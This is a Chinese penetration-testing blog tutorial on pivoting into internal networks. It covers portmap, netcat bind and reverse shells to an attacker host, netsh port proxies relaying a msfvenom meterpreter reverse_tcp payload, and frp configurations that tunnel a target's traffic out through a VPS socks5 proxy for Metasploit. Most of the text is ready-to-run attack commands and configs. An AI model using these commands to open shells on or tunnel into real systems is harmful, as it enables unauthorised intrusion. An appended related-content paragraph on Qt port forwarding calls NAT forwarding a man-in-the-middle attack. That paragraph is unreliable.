端口转发及穿透内网

portmap

https://github.com/Brucetg/Pentest-tools
不推荐,我测试的时候很卡

  1. 首先在有公网ip的主机上监听
    ./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777
    监听来自6666端口的请求,并将其转发到7777端口。
  2. 在内网上进行端口转发(内网主机不出网)(会一直监听端口)
    ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网ip -p2 6666
    将内网主机22端口的流量转发到公网主机的6666端口
  3. 登录
    ssh 公网ip -p 7777

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

nc

交互性较差

正向连接(内网主机出网)

  1. 内网主机
    nc -l -p 4444 -t -e /bin/bash
    -t 是通过telnet模式执行cmd.exe程序。
  2. 公网主机
    nc -vv 内网ip 4444

在这里插入图片描述
在这里插入图片描述

反向连接(内网主机不出网)

  1. 在公网主机上进行监听
    nc -lvnp 4444
  2. 在内网主机上执行
    nc -t -e /bin/bash 公网主机ip 4444
    在这里插入图片描述
    在这里插入图片描述

netsh端口转发

端口转发

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
参数说明:
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口,来自listenport的连接会被转发到该端口 显示系统中的转发规则列表

显示系统中的转发规则列表netsh interface portproxy show all
清除所有当前的端口转发规则 netsh interface portproxy reset
删除指定的端口转发规则 netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110

netsh端口转发监听meterpreter

  1. 攻击机
    msfvenom -p windows/meterpreter/reverse_tcp > lhost=跳板机ip lport=跳板机端口 -f exe>shell.exe
  2. 跳板机输入端口转发命令
    netsh interface portproxy add v4tov4 listenport=跳板机端口 connectaddress=内网ip connectport=内网端口
  3. 攻击机监听
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 内网ip
    set lport 内网端口

frp

在有公网ip上配置fips

启动服务端
./frps -c ./frps.ini
在攻击机上配置frpc
启动客户端
./frpc -c ./frpc.ini
连接成功,服务端有数据交互
最后将马放到目标机,并且攻击机开启监听

服务端配置文档

bind_port = 7000
vhost_https_port = 7001 #当代理出来的是web服务时,在外网访问http://vps的IP:7001
#dashboard_port状态以及代理统计信息展示,网址:7500可查看详情
dashboard_port = 7500
#dashboard_user访问用户dashboard_pwd访问密码
dashboard_user = admin
dashboard_pwd = password
#log_file日志文件log_level记录的日志级别log_max_days日志留存3天authentication_timeout超时时间
log_file = ./frps.log
log_level = info
log_max_days = 3
authentication_timeout = 0
#max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
max_pool_count = 50

客户端配置文件

server_addr = 1xx.1xx.1xx.205 #vps的ip
server_port = 7000 #vps中配置服务端要一样bind_port = 7000
[rdp]
type = tcp #类型tcp
local_ip = 127.0.0.1 #需要代理出去的ip
local_port = 3389 #需要代理出去访问的端口我这里是3389
remote_port = 7389 #这里就是转发出去的端口,也就是在自己的机器上访问的代理端口 rdp:vps的IP:7389

例子

在这里插入图片描述

  1. VPS配置服务端frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

运行

frps.exe -c frps.ini
  1. 目标内网机器配置客户端frpc.ini

[common]
server_addr = 1.166.166.6
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5

运行

frpc.exe -c frpc.ini
  1. kali设置代理socks5

vi /etc/proxychains4.conf
socks5 1.166.166.6 7777

msf设置代理

setg Proxies socks5:1.166.166.6:7777
setg ReverseAllowProxy true

使用代理

ssh端口转发、msf反弹shell的端口转发—代理配置

在环境中,VPS起到了桥梁的作用,使得两个内网可以相互通信
在这里插入图片描述

  1. 环境描述

攻击目标内网

攻击桥梁VPS(windows),ip:1.166.166.6

本地机器kali linux,ip:10.1.0.4

工具:frp

  1. 服务端配置

VPS为服务端,假设ip为1.166.166.6

将下载的FRP文件放在VPS,编辑frps.ini文件配置

[common]

bind_port = 60121
dashboard_port = 88
dashboard_user = admin
dashboard_pwd = zCV2!#sWE3x

参数说明:

[common] # 名字
bind_port = port # 指的是frp的服务端端口,用来和客户端kali建立连接
dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
http://1.166.166.6:88
dashboard_user = admin # 网页版的登录用户名
dashboard_pwd = zCV2!#sWE3x # 网页版的登录密码

配置好之后保存,进行运行

frps.exe -c frps.ini

  1. 客户端配置

将FRP文件放进kali,解压命令

tar -zxvf frp_0.36.2_linux_amd64.tar.gz

配置kali,让在本地内网的kali,也能使用公网的IP进行访问,客户端的配置文件为frpc.ini

[common]
server_addr = 1.166.166.6
server_port = 60121

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 60122
use_compression = true

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 60123

参数说明

[common]名称
server_addr = 1.166.166.6 # 服务器IP
server_port = 60121 # VPS的端口,用来建立连接

[ssh] # 配置ssh登录的端口转发
type = tcp # 连接方式为TCP的方式
local_ip = 127.0.0.1 # 将本地的IP映射出去
local_port = 22 # 本地的端口为22
remote_port = 60122 # 映射的端口为60122,本地端口22映射到VPS的60122
use_compression = true

[msf] # 配置msf的监听端口转发
type = tcp # 连接方式
local_ip = 127.0.0.1 # 本地IP
local_port = 1234 # 监听本地的端口
remote_port = 60123 # 映射的VPS端口为60123,本地端口1234映射到VPS的60123

在kali中运行

./frpc -c frpc.ini
  1. 访问一下frp的web管理页面

访问http://1.166.166.6:88,输入用户名密码登录

可以观察到流量的情况

  1. 测试效果

ssh远程kali,前提是kali开启了远程连接
在这里插入图片描述

参考

https://www.bilibili.com/read/cv13762388

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Qt内网穿透端口转发是一种将内网中的局域网设备通过穿透技术映射到公网上,实现公网访问的方法。Qt是一种跨平台的C++应用程序开发框架,可以用于编写各种类型的应用程序,包括网络通讯相关的应用。 内网穿透端口转发的实现原理是通过在 NAT 中间人攻击方式,将公网的请求转发到内网中指定设备的指定端口上,从而实现对内网设备的访问。Qt 提供了一些网络编程接口和类,可以用于实现内网穿透端口转发功能。 在 Qt 中实现内网穿透端口转发,可以使用 Qt 的网络编程库进行开发。首先需要创建一个 TCP 服务端,监听公网的请求。当收到请求后,根据请求的目标设备和目标端口,在内网中找到对应的设备,并将请求转发到该设备的指定端口上。 具体步骤如下: 1. 创建一个 QTcpServer 对象,调用其 listen 方法,监听指定的公网端口。 2. 当收到公网请求时,QTcpServer 会触发一个新连接的信号。 3. 在新连接的槽函数中,获取请求的目标设备和目标端口。 4. 在内网中找到对应的设备和端口,创建一个 QTcpSocket 对象,连接到该设备的指定端口上。 5. 将公网请求的数据通过 QTcpSocket 的 write 方法发送到内网设备。 6. 同时监听 QTcpSocket 的 readyRead 信号,当内网设备返回数据时,通过 QTcpServer 的 write 方法将数据返回给公网。 通过以上步骤,就可以实现 Qt 内网穿透端口转发的功能。需要注意的是,为了确保内网设备的安全性,应当对公网请求进行必要的身份验证和安全控制。同时,在代码实现中,还需要处理异常情况和错误处理,确保端口转发的稳定性和可靠性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值